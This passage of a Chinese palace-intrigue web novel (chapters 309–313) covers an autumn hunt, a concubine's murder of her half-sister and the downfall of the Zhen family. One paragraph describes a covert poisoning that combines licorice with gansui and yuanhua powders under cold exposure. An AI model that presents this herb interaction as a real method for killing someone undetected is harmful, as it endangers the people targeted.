这理由也是叫曹琴默哭笑不得了,温宜现在穿的用的不是皇后赏的就是华贵妃自己赏的,她这样说,曹琴默真不知道这是嫌弃她这个亲娘还是嫌弃华贵妃自己了。 “温宜要听皇额娘和华娘娘的话,不要自己乱跑。” 虽然如此,临近出发,曹琴默还是越来越焦急。 “知道了额娘,你在宫里也要乖哦。” 温宜用小手轻轻拍着曹琴默的后背,十分熟练的哄着自家额娘,就像她哄弘晶和弘晸一样。 心里头的担忧被抚平又泛起涟漪,曹琴默尽量把自己的心情藏在深处,不叫温宜察觉。 “额娘知道了,温宜不用担心额娘。” 钟粹宫的母女温情只是紫禁城的一角,在弘晸和弘晶的带领下,跑不利索说不利索的弘晅等人都是能折腾的。 永寿宫,咸福宫里,嘉妃和宁嫔正在努力劝说自家儿子老实一点。 而临行的前一晚,景仁宫的谦嫔突然得了急症。 文鸳身边的杜仲和华贵妃身边的江城都赶到了景仁宫,两人再三诊断,谦嫔是郁结于心导致的高热昏迷,并没有其他的阴谋诡计。 文鸳散着头发看了一眼景仁宫的方向嘟囔了一句:“太不中用了,不中用的人留在宫里除了死没有其他出路。” 这次的高热虽然与文鸳无关,但叫她浪费医疗资源去救乌拉那拉宜修自然也是不可能的。 当初宜修冷眼旁观被她三言两语挑唆就去举报熹贵妃私通的原主被生生打死,那就这次一并还了吧。 栀子在旁边守着,听到自家主子这句话心里头有了数。 而随着皇上和皇后的离宫,惠贵人沈婉仪的心思也活络起来。 沈家人身体都不错,但如沈眉庄这样一年到头连个风寒都没有的人还是少数。 她等的心焦,已经不想再等下去了。 想着皇后离宫前她去请安时得到的态度,心里头还是有些底气的。 虽然道不同,但沈婉仪还是不得不为沈家说一声,沈家没有这么没脑子的蠢货。 甄答应身边的宝鸽,但凡有心人都能看出是个不忠心的,两人在屋里头的说话难道就觉得很隐秘了吗? 不能叫沈眉庄活着了,她活着,沈家的女儿就永没有能抬起头的一天。 沈婉仪虽然入宫晚,但她有心钻营,延禧宫倒是也发展出了几个愿意为她监视沈眉庄和甄嬛的宫人。 这两个人简直毫无自省之心,说话大胆言语荒谬。甚至两人口中常提到的温太医,沈婉仪也觉得是一丘之貉。 这话入得她耳,自然也入得皇后的耳。 如今皇后想不起来发作不是皇后心善,而是皇后有其他有趣的东西牵着心神。 甄嬛便罢了,她不怕牵连族里的姑娘。 沈婉仪怕。 沈婉仪感恩沈家一视同仁的教养,所以为了沈家的亲人,她得努力了。 第309 章 瓜尔佳文鸳40 “额娘额娘,儿子想骑马。” 从紫禁城出发,途经热和行宫时,皇上怕三个孩子受不住累,便下令休整了两日。 温宜确实有些没精神,但睡了一晚也就恢复了体力。 而弘晸和弘晶可没有这样的烦恼,两人在行宫门口下了马车,被宫人带着到了宫室处歇着还没有一刻钟,就嚷嚷着要去骑马。 路上为了安全,主要是因为她这个皇后不方便现在就出去骑马,所以残忍的拒绝了弘晸和弘晶的骑马请求。 如今刚落了地,两个小崽子就坐不住的要跑出去。 文鸳并没有阻止,而是眨巴着眼睛看着皇上。 被三人同款期待满满的眼神看着,皇上叹了口气起身陪在身边。 “走,朕陪你们去。” 皇上不是有责任心也不是爱的深沉,只是他怕自个儿不去,损耗更大些。 华贵妃等人没文鸳母子三人这么高的精力,被马车折磨的双腿无力只想睡觉。 皇上又陪着闹了一下午,从马背上下来的时候,总觉得自己踩在云端上,步伐都是漂浮的。 “额娘,木兰秋狝真好玩儿,明年还想玩儿。” 弘晸和弘晶两个小可怜自出生去过最远的地方也不过是圆明园。这出了趟门,觉得外头天更蓝云更白,有趣的不得了。 皇上只当没听见,本来在他的计划里,自己执政的这不管多少年,都没有木兰秋狝这一项的计划。 如今已经是破例了,连续两年木兰秋狝?想都不要想! 他最多能接受三年一次!真的不能再多了。他真的没有先帝抗造啊! 拖着疲惫的身躯,皇上看着陪伴在身边的皇后突然有些紧张。 一直到两人沐浴更衣躺在床上,听到文鸳平稳的呼吸后,皇上才轻轻轻轻的舒了口气。 路上有弘晸和弘晶在一点也不无聊,两个闲不住的小孩从皇上的马车到宁嫔的马车挨个转着玩儿。 就连温宜都被带的体力越来越好了。 别看两个小小混蛋喜欢折磨人,但对这个从小就看着他们的姐姐还是很友好的,从来不拉着温宜傻玩儿。 不过弘昹和弘晅两个弟弟就没有这么温柔的待遇,从会翻身开始就被这两个孩子拿着玩具逗来逗去的,已经很皮实了。 终于到了目的地,广袤无垠的大草原叫众人这一路上的疲惫瞬间消散。 不过皇后的职责在身,文鸳不能如华贵妃等人一样修整好了就跑出去玩儿。 她和皇上一起,负责会见科尔沁和其他蒙古部落的首领。 如今科尔沁的郡王是落卜藏喇什之子齐默特多尔济,也是吉嫔的堂哥。 吉嫔得了皇后的关照,和自己的阿布和额吉见了面。 虽说女儿得了封号和一宫主位的消息早就传了回来,但是没有亲眼看着,总是会有些担忧。 如今瞧着女儿没有阴霾的眼神和没什么变化的身形,心里头总算是松了口气。 听着阿茹娜比比划划的说着皇后带她玩儿的趣事,丹津在心里头盘算着,给皇后准备的礼还要再重五分才行。 处理完了这些交际,文鸳去帐篷里换上骑装跨上马往弘晸等人的方向追去。 还是在大草原策马畅快,园子里那点地方还是憋屈了。 文鸳的马术极好,她背着一把七力的弓箭一路驰骋,追赶弘晸的路上顺便猎了两只兔子。 她如今的箭术还是稚嫩了些,天空中飞翔的鹰类还是缺点技巧。 弘晸和弘晶人小,骑着小矮马被暗卫照看着并没有走多远。 文鸳偏离路线远远看了一眼自得其乐的四个孩子,转身带着侍卫往深处跑去。 四个孩子,弘时带着温宜也在旁边照看着,弘时的福晋有些晕马车,在帐篷里休息。弘时放心不下弟弟妹妹,换了衣裳就追了出来。 而此时的皇上有些空落落的,曾经和先帝来木兰秋狝,先帝身边陪同着好几个儿子。 再看看他,身边只有一个不会笑的高无庸。 不过转念一想,他带着儿子来的啊,小小的弘晸折磨了他这么久,也该给他这个皇阿玛做做贡献了。 晚上的篝火宴,弘晏和弘晶作为皇上和皇后的孩子自然备受关注。 两个人都不是怯场的,在幼年玩乐版的摔跤游戏中始终不落下风。 蒙古几位郡王的眼神都有些变化,这位皇上和先帝比明显不够有魄力,但这位皇后他们实在看不透。 若说单纯,言语间却丝毫叫他们占不到一点便宜。 若说精明,却又总觉得差点意思。 在场的十几人你来我往,不仅好处没有沾到,反而不知不觉中许出些利益,这叫他们收起了有些轻视的心,也盘算起了其他关系。 如今的大清不像曾经那样依赖蒙古,宫里头能有一个嫔妃在已经是顶天儿了。 既然皇上的后宫没有余地,几个络腮胡子糊满脸的大老爷们盯上了弘晸和弘晶。 虽然知道龙凤胎的公主,大概率不会扶蒙。 但他们想着万一呢?万一他们蒙古儿郎能得了公主的芳心呢? 从这晚起,弘晶身边多了十来个比她大上四五岁的男孩,几位郡王美其名曰陪同,但实际心里那点小九九文鸳看的清楚。 只是她在心里也笑出了声,弘晶可不是娇滴滴的公主,她从来没想过把这个女儿困在京城那一亩三分地。 蒙古的人真好啊,还挺配合呢。 十来个小男孩跟着一个三岁的小公主,按理说正是好喝好吃好玩能吸引住的年龄。 可他们怎么也没想到,三岁的女孩,能有那样的破坏力。 一柄玩具式的小弓扎穿了几座营帐,一条内里嵌了铁链的牛皮鞭甩的虎虎生威,没人敢靠近。 好吃的好喝的照单全收,玩够了拍拍屁股直接走人主打一个六亲不认。 不过艰难些都是正常的,皇上最宠爱的公主嘛,有任性的资格。 左右苦的都是自家孩子又不是自己,连个公主都追不上,哪有脸哭。 善于奔跑的草原小孩很绝望,他们也是从小跑到大的,但是没有人可以跑一天不歇着啊! 肉体凡胎果然和金枝玉叶有区别吗? 不服输的蒙古巴特尔们在数日的连轴奔波中低下了高昂的头颅。他们承认了,他们跑不过三岁的弘晶公主。 (巴特尔=巴图鲁) 第310 章 瓜尔佳文鸳41 皇上其实并不太擅长社交,他冷着脸的模样不知情的还以为是来要账的。 开口经济闭口改革,完全没有先帝来木兰秋狝时的轻松愉悦,反而把这里变成了另一个朝堂。 这叫来联络感情的郡王们有些承受不住,省下了不少繁文缛节,直接进入狩猎模式。 小孩子有小孩子的猎场,这片皇家围场专门为阿哥公主们围出了一块只有小兔子小狐狸的范围,供他们取乐。 “弘时跟着本宫去转转,叫华贵妃她们和那几个小孩儿看着就好。” 文鸳这次出门带的骑装有三十多套,今儿挑了一套正红色金线绣海东青的,腰上的软鞭和背上的牛角弓更添英姿。 皇上和齐默特多尔济郡王在上头坐着,瞧着下头准备出发的众人倒是没说什么挑衅的话。 反而把目光看向了另一边由弘晸和弘晶两个小孩带领的小队。 “弘晶公主巾帼不让须眉,小小年纪便有如此风范,皇上真是好福气啊!” 齐默特多尔济郡王还年轻没有儿子,但是有侄子可以用,年龄差不多的都扔到了弘晶身边。但是最近的状态实在难以言说。 他意味深长的瞧了身旁的皇帝一眼,虽然先帝来木兰秋狝时他还小,但如今这位皇上有几把刷子他还是记得的。 没想到啊,人到中年得了这么一对宝贝,把他们蒙古巴特尔都比了下去。 皇上当然听的出来齐默特多尔济郡王的言外之意,但是他只回了一个有些奇异的微笑。 弘晸和弘晶会走之后就被他们额娘放到小马背上锻炼,再加上那一身天生的神力和永不停歇的精神,当之无愧的在这一场幼年比赛中夺得胜利。 几位蒙古巴特尔还有些回不过神,他们为了照顾两个三岁的孩子换了轻省的弓箭,结果却眼睁睁看着两个孩子把箭矢当飞镖来用。 这合理吗?这对吗?这符合小孩子的成长逻辑吗? 弘晸和弘晶有自己的小弓,只是两个人从小练习投掷,臂力又有些惊人,所以一时玩嗨了就没顾上那么多。 甚至弘晶还抛弃了自己的小马,跳下去一阵风似的用双腿去追赶兔子。 几位巴特尔也跟着从马背上跃下,也就是这片小围场的范围不大,不然他们绝对能把人跟丢了。 被公主身边的暗卫蔑视性的看上那么一眼,但凡是有些血性的孩子都接受不了。 可他们腿都抡冒烟了,也只能眼睁睁的看着弘晶公主的背影越来越小。 “你们在干什么?散步吗?” 弘晸突然从后头出现,这句话叫这些小小男子汉更加破防。 不过他到底还是记着自己是大清的皇子,故作深沉的拍了拍手道:“好了,追不上很正常,你们只是普通人罢了。” 弘晸看到自己说完面前这些比他要高的人眼眶更红了。他挠了挠头,他们又不是天子血脉,普通些不是很正常吗? 想不明白弘晸就走了,他才没功夫哄臣子们玩儿。 皇上一共在木兰围场待了一月时间,弘晶和弘晸熟练的掌握了骑射的技巧并且对拆解帐篷一道了熟于心。 几位郡王瞧着自家不成样的孩子都有些退缩,公主是好,但也得有命娶才是。 他们把指望都放在了科尔沁郡王齐默特多尔济身上,他也到年龄可以成婚了,赶紧生个儿子供三公主驱使才是正经。 往年先帝离开时场面宏大温馨,而如今大家热泪盈眶,比接驾时更加急切。 谁能想到大清最具破坏力的不是军队,而是两个幼年的孩子呢。 “皇阿玛,明年咱们还来吗?” 弘晸和弘晶乖巧的趴在皇上怀里,两双和他们额娘一模一样的眼睛眼巴巴水灵灵的看着他,叫皇上顿时忘记了两个小魔王的威力。 “皇阿玛政务繁忙,确实没有办法做到一年一次,这样吧,两年后咱们再来,好不好?” 怀中的两个孩子在草原暴晒了一个月也没见肤色变黑,仍旧是那般白嫩可爱的模样。 但皇上下意识的感受了一下自己酸软的腰和抬不起来的腿,很坚决的拒绝了。 弘晸和弘晶瘪了瘪嘴,两个人从皇上怀里爬出来搂住皇上的脖子。 “皇阿玛皇阿玛,来嘛来嘛。” 两个孩子虽然小,但看多了自家额娘缠磨皇阿玛的样子早就记在了心里。 两道魔音在耳边炸起,被拉扯的头晕眼花的皇上还在咬着牙坚持。 “最多两年一次。” 这是皇上的底线了,若光是围猎也就罢了。皇后她们几个晚上也没有放过了他,他哪有那么坚强的身子叫她们这折腾啊! 弘晸和弘晶倒是会看脸色,知道这是皇阿玛最后的底线了。 他们一溜烟的从皇上身上滑下来,跑到一边玩儿起了宝剑。 那是从几个蒙古郡王的帐篷里找到的,作为客人,作为尊贵的客人,弘晸和弘晶想要的,还没有要不到手里的。 皇上吐了口气,也顾不得什么仪态不仪态的了,瘫在后头的迎枕上晃了晃头,试图把耳朵里的嗡鸣声甩出去。 先帝早期基本上是一年去一次,康熙五十年后,因着年事渐高,政务繁忙,才逐渐变为一两年一去。 不过有时候时间长些有时候短些。 最爱玩那几年,先帝四月就要巡幸塞外,在外头待上三个多月才回宫。 皇上怕热,也不愿意折腾,八月底才启程,等他们回京,紫禁城已是深秋。 “皇上,皇后娘娘,沈常在去了。” 刚回去歇了口气,养心殿的芳方进来回禀,延禧宫的常在沈氏沈眉庄,于前日因风寒医治无效去了的消息。 文鸳由着栀子等人收拾,一只手撑在桌子上:“哦?沈常在的身子还真是柔弱,既然去了,便挪出去吧,宫里头孩子多,别冲撞了。” 沈眉庄的死肯定有些疑点,但那不重要。 “是,还有一事,甄答应一直在殿外跪着。” 芳方可不是芳若那个没脑子的,若不是她拦着,芳若还真要上去和那位甄答应献个殷勤了。 皇上不耐烦的抬了抬手:“叫她回去,再来扰了皇后的清净就打发去冷宫。” 一个人的爱和精力都是有限的,文鸳先一步出场占据了皇上大部分的心神,又利用自身优势叫皇上尝到了满军旗皇后的甜头。 就连那纯元都不好说是不是真爱,更何况是一个替身。 难不成皇上看不出来沈眉庄死的蹊跷吗?只是不在意罢了。 他也不在意沈家一族的姑娘好不好过,他在意的是自己的感受。 惠贵人很好,懂事贴心是个合格的妃妾。 既如此,沈常在便没有了存在的必要。 文鸳睡了一觉,才看了看沈眉庄的死因。 惠贵人用银子叫延禧宫的宫人夜晚给沈眉庄开窗不算,还把自己份例里的冰全部省下来用在了沈眉庄的身上。 就连那床榻上,也被沾了水汽。 再好的身子也是肉体凡胎,几日下来沈眉庄就着了风寒开始咳嗽。 等太医开了药,沈婉仪确定了药方里有甘草后,加重了甘草的剂量并且混合了甘遂和芫花的粉末。 咳嗽未好又添了腹痛腹泻的毛病,本就没有太医愿意来看的沈眉庄一下子就起不来床了。 熬了几日症状越发严重,沈婉仪停了甘遂和芫花后,再次加大了甘草的剂量,致使沈眉庄眼前一黑栽倒在地上,再也没有起来。 (甘草摄入过量会导致钾低,很危险的。作者亲身体会,心律失常血压骤降很难受,一定要注意啊朋友们。) 第311 章 瓜尔佳文鸳42 沈眉庄的死除了甄嬛无人在意。 沈婉仪坐在窗下对着天边的弯月轻松的笑了笑,桌子上摆着两杯斟满的酒杯,她举起对面那杯洒在地上,又执起自己的酒杯一口干了。 ‘姐姐,我替你报仇了。’ 她不敢发出声音,这深宫没有秘密,沈家也不能再接受一点闪失。 眼神穿过院子,隐约看到在西偏殿坐着的甄答应的影子,沈婉仪冷漠的扯了扯嘴角。 “甄答应,按理沈常在的一应物件应该交于我来处理。” 她站在西偏殿的门口,眼神里带了不加掩饰的厌恶。 “眉姐姐出事时你在哪里?你不为她请太医,这个时候还来干什么!” 看的出来,甄嬛是真的伤心。 但却让沈婉仪笑出了声。 “哈,哈哈,真是感天动地的姐妹情深。” 她拍了拍手,低低的笑声在这凉风习习的夜晚格外的诡异。 “我不仅不为沈眉庄请太医,我看到她如今的下场还想去御膳房买一桌席面庆贺一番。” 甄嬛怒目而视,她赫然起身快步走到沈婉仪身边,通红的双眼里全是恨意。 “她是你的嫡姐!你怎可如此冷漠!” 沈婉仪低垂着眼睛讽刺的看着甄嬛:“嫡姐,不尽然吧?她沈眉庄不是你甄嬛的嫡姐吗?难道是我记错了? 可是自进宫后,她拿着沈家的银子靠着沈家得到的贵人位分做了什么? 是豁出去用银子为你铺路?还是在你得罪皇后之后用沈家的名声来为你辩解?” 沈婉仪步步紧逼,盯着甄嬛的眼睛不断向前。 “皇后是如何说沈眉庄的?你不记得,我说给你听。” 甄嬛张了张嘴,想说不用了,她记得,可面对咄咄逼人的惠贵人,嗓子像是被堵住了一般哑然无声。 “不敬中宫,混淆是非,无女子之德,无做人之信。” 沈婉仪怪皇后吗?她不敢,她自出生便在皇权下,这种念头是从未有过的。 尤其是进宫后她看的分明,皇后并不是个善妒不容人的,这样一位当家主母,沈眉庄还有什么不满足的?即便她不得宠爱,只是在后宫混日子好不好,沈家也不会放弃支持这个女儿。 可她做了什么呢? “并非如此,皇后偏听偏信。” “啪!” 甄嬛的话还没说完,沈婉仪一巴掌把她的头打偏了过去。 “你想死不要连累我。” 沈婉仪突然不想说什么了,难怪她那好嫡姐能跟这位情同姐妹,真是什么锅配什么盖。 她无视甄嬛的怒目在另一边脸补了一巴掌。身为妾室的女儿,她有的是动手不留痕的技巧。 这甄嬛可真蠢啊,自己待在这里,难道她不知道自己多恨沈眉庄和她吗? 沈婉仪看了眼廊下那个低着头的小太监,冷冷一笑转身离开。 这话如愿传到了皇后的耳朵里,她微微挑了挑眉,对这位甄答应的执着表示了赞扬。 “找两个嬷嬷看好甄答应,不管用什么手段,叫她在两个月之内把那身形恢复成原样。” 栀子从不问主子为何这么做,她只是准确且及时的把主子的意思传达下去。 两个月的日子在文鸳眼里不过是玩乐中的间隙,而在甄嬛眼里,就是日复一日的折磨。 为了叫甄答应身上那有些硬邦邦的肉快速消减下去,嬷嬷们也是想尽了办法。 生拉硬拽的都是常事,甚至还试图用木棍把她擀平。 文鸳只能感慨,嬷嬷们都是神人。 不过效果还是出奇的好的,一些非常规的手段加上大量的脂粉腌制,倒是叫甄嬛恢复到了殿选时的白嫩细溜。 “若你能管住嘴,本宫倒是忘记你这么个人了。可惜了,甄家没教会你的事,本宫倒想试一试。” 甄嬛跪在大殿上,她穿在外头的披风被拿走露出了里头精致漂亮的舞衣。 虽然殿内已经有火盆,但那些打量和不屑的眼神还是叫她浑身发冷。 “听说甄远道请了人教导你的妹妹甄玉娆跳惊鸿舞,本宫想着,你那个父亲倒是会钻营,想必你也是按照这个方法培养的。既如此,你便舞上一曲给本宫助助兴吧。” 甄嬛自进到殿内后一直面无表情的脸突然多了些灵动,她震惊且不可置信的看着皇后:“皇后娘娘您说什么?” 文鸳今天心情很好,甄家那点消息还是皇上给她送过来的。虽然她自己也查到了,但是皇上送过来的意义不一样。 “甄答应不知道吗?听说甄远道在培养你妹妹读书练字跳舞弹琴,据说目的性很强呢。” 华贵妃的眼睛看看文鸳看看甄嬛,总感觉有种听懂了又没听懂的感觉。 曹琴默看了一眼茫然的华贵妃笑了笑,她绕到华贵妃身后,低头在她耳边说了些什么。 “果真?!” 华贵妃听到曹琴默的分析脸上的震惊快要飞了出去。 其实她以前还是很注意表情管理的,但是自从跟鸳鸳玩在一起,这本事就抛到了九霄云外。 “臣妾只是这么想着,为何偏偏是惊鸿舞?为何两个女儿都必须学?即便想要送二女儿入宫,局限在这里就很有问题了。” 曹琴默其实心里隐隐有了方向,能叫甄远道费这份心思的,还是必要送进宫中的,怕不是那位纯元皇后。 华贵妃点了点头,看了一眼曹琴默:“你这脑子是不错,就是读书少了些。没事了就去景阳宫的御书房看看,你不会不要紧,温宜还是要学的。” 曹琴默笑着应了是,抬头往自己座位走时看到了皇后对着她笑。 她就知道,自己分析的,没错! 甄嬛的崩溃只能自己消化,她打起精神摆出架势起舞。 其实现场看确实不算多惊艳,不过华贵妃等人倒是津津有味的。 “等改明儿你妹妹入宫,倒是可以配合着你一起跳一段。本宫也想看看,你们姐妹有什么不同。” 甄嬛的心气儿这一下完全散了去,她木着脸行礼退了出去,回到延禧宫就发了高热。 文鸳听到后也只是摇了摇头,都是什么毛病?受了打击先发个烧? 自这日后,甄嬛拖着一口气在延禧宫等着,等着看皇后说的话到底是不是真的。 一直到弘晸和弘晶进学,年仅十四岁的甄玉娆被甄母带着入了宫给皇后请安。 那一张比甄嬛还要肖似纯元皇后的脸叫皇上起了些兴趣。 “怎么?皇上这一面就看上了?” 文鸳围在皇上身边,音量虽然正常但语气显然是有些不太对。 皇上笑着搂住文鸳阻止了她接下来的闹腾。 “只是有些像纯元皇后,朕才失了神。” 他如今哪有别的精力,光是弘晸和弘晶两个就叫他耗费了全部心神。 进学三月,认字快背书快什么都好,就是废夫子。 自制玩具弓弩打穿了夫子的戒尺,凭借蛮力刻花了夫子的砚台,休息时间拉着夫子锻炼身体,这一桩桩一件件简直处理的他头大。 “纯元皇后?乌拉那拉氏不像纯元皇后一个甄家的女儿像纯元皇后?” 文鸳不解。 皇上也不解。 “朕叫人查查。” 联系起甄远道为两个女儿都请了女夫子教导惊鸿舞,皇上觉得其中定有问题。 第312 章 瓜尔佳文鸳43 皇上坐在养心殿里,外头最后那点亮光湮没时,没抬头的说了一句:“去坤宁宫。” 高无庸紧绷的后背松懈下来,只觉得似有寒风从领口穿过,叫他的心口都冒着凉气。 从养心殿去坤宁宫的路程不算远,但也算不得近。 皇上拒绝了乘坐轿辇的提议,溜溜达达的在不甚明亮的宫道上看着头顶几颗稀疏的星星,不知道在想些什么。 刚走过交泰殿,几道娇俏的笑声间夹杂着高昂的童声,热闹的像是另一个世界。 “皇阿玛来了!” 拒绝了高无庸的高声通报,把手串甩了一圈捏在手里,自个儿跨过高高的门槛走了进去。 弘晶第一个发现皇上,她丝滑的从华贵妃身上下来,扑到了皇上的怀里。 虽然力气大,但好在人还小,皇上还能接的住。 “皇上快来,今儿吃锅子,正好热闹热闹。” 皇上笑着凑上去坐在文鸳身边,他没有说话,静静的看着这一室的温馨。好像在自家皇后这里,就没有孤寂这一说。 “下午叫卫篷河去养心殿叫您来,您打发人说忙着,怎么这个点过来了?” 卫篷河是皇考贵妃的人不假,但自文鸳成功登上后位后,便被皇考贵妃送到了坤宁宫伺候着。 用皇考贵妃的话说,那就是她身边的宫人还是嫩生了些,不够撑场面。 文鸳来者不拒,都是瓜尔佳氏的人,她们族里可没有沈眉庄那种糊涂蛋,不顾家族一门心送族里姐妹去死的坏东西。 下午那阵正是皇上拿了甄家的消息的时候,文鸳知道,文鸳不说。 “下午忙着,御膳房的吃食来来回回总是那么几样,想着你这里总有新鲜的,便来看看。” 一旁的华贵妃根本没注意皇上在说什么,她盯着热气腾腾的锅子眼珠子都要掉进去了。 皇上见状轻笑了一声:“这是怎么了?饿着贵妃了?” 虽然是调侃华贵妃,却是对着文鸳说的。 “哪儿啊,下午去靶场射箭来着,兰兰这是玩儿累了。” 即使日日训练也抵不过有玄幻药品加持的文鸳,每天都是这一副饿死鬼的模样。 今儿这羊肉可是科尔沁郡王齐默特多尔济亲自叫人送来给弘晶和弘晸的,他们今日也是沾了光。 皇上并没有在这个时候扫兴,把心里头的事压在下面,陪着热热闹闹用完了晚膳,才把人都打发了出去。 “这是怎么了?臣妾还想着和兰兰一起去遛溜弯呢!” 这羊肉鲜嫩不柴不腥,文鸳一下子没控制住吃的有些多,小肚子微微鼓起,幸好旗装宽大,也看不出来。 “朕有些事想跟你说。” 文鸳歪了歪头,拉着皇上坐在了软榻上。 顺手把一旁的小几拉过来,从上头端来一碟剥好的瓜子仁,眼神里带着催促。 皇上被她这一串的动作弄的瞬间就没了刚才自个儿在养心殿里的难过,没好气的点了点文鸳的额头。 “这甄家一家实在可怖。” 文鸳顿时来了兴趣,身子往前趴凑到皇上身边:“怎么回事?” 皇上从文鸳手里抢了两颗瓜子仁,慢悠悠的吃了才说道:“这甄远道当初有一位相好的姑娘名碧珠儿,是一位摆夷族人。先帝当年盛宠舒妃,导致京中许多大臣也纳了不少摆夷族的女子。 只是这甄远道却不一般,这碧珠儿乃罪臣之后,他非但没有把人处理了。反而买了一处院子将人养在那里,并改名何绵绵。” 并非青梅竹马的剧情,文鸳也能理解,一个汉臣,怎么跟摆夷族女子青梅竹马,那实在有些荒唐。 “后甄远道求娶云氏,云氏家族不算大并且算是商户,虽然家产颇丰,但在当时的甄家眼里,并非是良配。” 甄远道却坚持求娶,并许下永不纳妾的誓言,这才把云氏娶回家。” 皇上自个儿说着都觉得好笑,他见多了他们兄弟夺嫡时的不择手段,就连他自个儿也不是什么好东西,但甄远道这装模作样的本事,也算得上是登峰造极了。 “云氏的女儿甄嬛和外室何绵绵的女儿何浣碧相差不到一岁。甄远道在何绵绵死后便把何浣碧接到了甄家,记作奴婢,送到了甄嬛身边伺候。” 文鸳手里的瓜子都掉到了桌子上,即使熟知剧情,再次听一遍也觉得荒谬:“就算是外室女,送到甄家族里头当个好好儿的小姐不好吗?” 皇上轻轻摇了摇头:“你有所不知,这何绵绵,是宫中的舒妃的闺中好友。” 文鸳的性子从来都是不拐弯的,所以立刻说道:“那甄远道即便有什么打算也是不成的啊!他把人家好好的女儿充作了下人,人家的闺中好友不会报复吗?” 这是文鸳一直不理解的地方,若是要利用这一点,为何不给浣碧安排一个好一点的身份呢?即使是在街上抱养的女儿好不好?也是正经的官家小姐。 皇上大概理解甄远道的想法,他只说了四个字:“道貌岸然。” 不等文鸳继续打岔,皇上继续道:“若说这肖似纯元,甄家的夫人甄云氏是最像的。” 文鸳瞪大了眼睛:“这?甄云氏可是和纯元皇后有关系?” 皇上点了点头又摇了摇头,他这一次也是发了狠,甄家和云家上下都被扒了个干净。就连滴血验亲都悄悄的给甄云氏做了。 “甄云氏身世确实有些难查,若说和纯元是双胎,咱们满人向来信奉多子多福,这一猜测完全不成立。 却说觉罗氏那里有些疑点,这些老郡王在外头养了不少女人,偶尔有一两个自个儿都想不起来的也很常见了。 甄云氏的娘应当和觉罗氏的阿玛有过亲密接触,不过她能瞒过云氏安安稳稳几十年,也是本事。” 文鸳被这段复杂的关系绕的头脑发晕,眼神都有些涣散了。 皇上看着呵呵一乐:“甄嬛的娘和纯元的额娘应当是姐妹。” 这么一总结,文鸳就理解了。八旗这些纨绔们没几个好东西,这点倒是不难理解。 不过时间久远,皇上查的也深些,就连纯元皇后当初因着家族才进了雍亲王府都查了出来。 跟他一直以来以为的两情相悦不同,当时纯元入府的时候,确确实实是他的一厢情愿。 皇上自嘲的笑了笑,他也没好到哪去,这不一个替身初进宫时都有了‘莞’字封号,若说薄情,他可是更胜一筹。 文鸳不懂皇上的纠结,她晃了晃皇上的胳膊:“那甄家果然都是蝇营狗苟之辈,瞧着甄远道的意思,怕是瞧着宫里的甄答应没用了,又想送一个进来呢。” 皇上自然也是知道的,他看了眼文鸳那张气鼓鼓的脸蛋眼底有了笑意。 “既知道了甄家的龌龊,朕自然不会还叫他们在后宫搅弄。” 文鸳眼珠子转了转,小心翼翼的拉了拉皇上的袖子。 这架势和往常大相径庭,皇上一时间什么不舍什么难过都不见,谨慎的往后躲了躲。 “皇上,臣妾能不能提一个小小小小的要求。” 她说着,还用食指和大拇指轻轻的捏了捏。 皇上直觉不好,他下意识的摇了摇头。 “皇上,臣妾就是想亲自骂甄远道一顿,你就让臣妾去吧,臣妾才不喜欢听你们唠唠叨叨吵吵闹闹的那些事,臣妾就是,就是不骂了不痛快。” 文鸳也知道自己的要求有些过分了,清朝这个对女性变态严苛和禁止的朝代实在不友好。身边这位还是雍正,说完她自己都觉得没有希望的蔫巴下去。 这么多小世界了,她是真的很想要臭骂甄远道。在养心殿还是不够痛快,没有人看见,甄远道的脸皮怎么被扒下来呢? 第313 章 瓜尔佳文鸳44 “那你用你皇后的权利,以中宫笺表的形式把想说的话写下来,朕明天早朝时亲自给你念。” 皇上知道文鸳是没什么复杂心思的,她满脑子都是自己痛快,所以灵机一动提出建议。 这倒是也行,虽然自个儿不能亲自看着甄远道的表情,但也不失为一个办法。 文鸳噔噔噔的跑了出去,坐在书桌前像模像样的开始写着。 皇上跟上去看了两眼,纯元皇后这事毕竟不好拿到明面上来说,刚想叮嘱两句,却只看到通篇的谩骂。 很大的篇幅主旨都在那位外室女浣碧的身上,皇上知道,还是这个切入点,骂的更痛快些。 随便自家皇后发挥,他摇了摇头往盥洗室走去。 第二日早朝,皇上果然拿出皇后的中宫笺表读了起来。 “大理寺少卿甄远道,道貌岸然的伪君子!满口仁义道德,实则一肚子男盗女娼! 自命清高,以忠臣廉吏自居,背地里却藏着见不得人的龌龊勾当。竟将那外室所生的罪臣之女送进后宫来,还敢让她披着婢女的皮,在主子眼皮子底下苟活! 这是于皇上,于皇室的不敬不忠不义!是陷皇上于危险不顾的奸佞行径! 平日里对着同僚谈纲常、对着圣上论礼法,转过头就纵容私情玷污门楣,用见不得光的手段遮掩家丑。 那外室女也是你的血脉,却只能顶着卑贱的名分苟活,你这做父亲的冷血至此,何谈什么“父慈子孝”? 所谓的清正廉洁,不过是用一层厚厚的脸皮糊起来的假面具!连自家人伦都理不清,连家宅门风都守不住,还好意思站在朝堂上高谈阔论? 这般心口不一、藏污纳垢,与那街头鼠窃狗盗之辈何异?你那“清高”的皮囊底下,早就烂透了!” 朝堂上一片哗然,提取其中有效信息,竟是这位甄大人私德不修叫皇后都看不下去发了中宫笺表。 皇上也骂人,但是从来没有骂的这么直白过,说完只觉得自己神清气爽,不管是积攒了多久的郁气都一扫而空。 不过 ,他还是觉得自己没有自家皇后那气势,读出来少不得缺了些醍醐灌顶的音量。 单是罪臣之女进宫这一项,就足以要了甄远道一家老小的性命。 “甄远道,革职抄家砍头,甄家,流放宁古塔世代不得回京。” 至于那位甄夫人和更加肖似纯元的甄玉娆,皇上默默的叫夏刈划了脸,一并送上了路。 宫里的甄嬛冷宫安家,还没等到甄玉娆进宫,就被甄家流放的消息震惊的无法维持自己那副漠不关心的表情。 可是她没有贵人相助,没人能帮助她逃脱太监的手跑去养心殿求情。 文鸳也算是了了任务,日日拉着华贵妃等人在外头疯玩儿。至于儿子和女儿,则是交由了皇上亲自教导。 弘晸和弘晶十分聪慧,见解独到,夫子们对他们是又爱又恨。 皇上眼睁睁的看着弘晅和弘昹也被带偏了性子,就连可可爱爱的万昭也未曾幸免。 悫嫔不管那些,女儿一并扔到弘晶手里自个儿笑哈哈的在齐妃那里蹭吃蹭喝。 两个混世魔王带出来了三个小魔头,紫禁城里没有一天安生的时候。 皇上倒是勤快了起来,经常催促着文鸳操办家宴赏花宴中秋宴等各种宴席。 几个孩子的破坏力在大臣和宗亲里流传开来,但皇上的宴席又不得不去,叫大家对今后的日子没了盼头。 